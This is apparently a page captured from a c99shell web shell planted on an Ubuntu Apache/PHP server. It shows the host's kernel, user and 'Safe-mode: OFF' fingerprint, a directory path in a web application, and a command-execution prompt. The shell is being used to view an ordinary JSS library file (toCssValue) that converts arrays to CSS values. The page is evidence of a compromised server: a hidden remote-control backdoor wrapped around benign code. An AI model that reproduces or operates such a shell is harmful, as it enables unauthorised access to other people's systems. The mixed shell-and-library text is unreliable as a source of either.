Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/wincloud_gateway/node_modules/jss/src/utils/ drwxr-xr-x | |
| Viewing file: Select action/file-type: // @flow
import type {FixMeAny} from '../types'
const join = (value, by) => {
let result = ''
for (let i = 0; i < value.length; i++) {
// Remove !important from the value, it will be readded later.
if (value[i] === '!important') break
if (result) result += by
result += value[i]
}
return result
}
type ToCssValue = (FixMeAny, boolean | void) => string
/**
* Converts array values to string.
*
* `margin: [['5px', '10px']]` > `margin: 5px 10px;`
* `border: ['1px', '2px']` > `border: 1px, 2px;`
* `margin: [['5px', '10px'], '!important']` > `margin: 5px 10px !important;`
* `color: ['red', !important]` > `color: red !important;`
*/
const toCssValue: ToCssValue = (value, ignoreImportant = false) => {
if (!Array.isArray(value)) return value
let cssValue = ''
// Support space separated values via `[['5px', '10px']]`.
if (Array.isArray(value[0])) {
for (let i = 0; i < value.length; i++) {
if (value[i] === '!important') break
if (cssValue) cssValue += ', '
cssValue += join(value[i], ' ')
}
} else cssValue = join(value, ', ')
// Add !important, because it was ignored.
if (!ignoreImportant && value[value.length - 1] === '!important') {
cssValue += ' !important'
}
return cssValue
}
export default toCssValue
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0468 ]-- |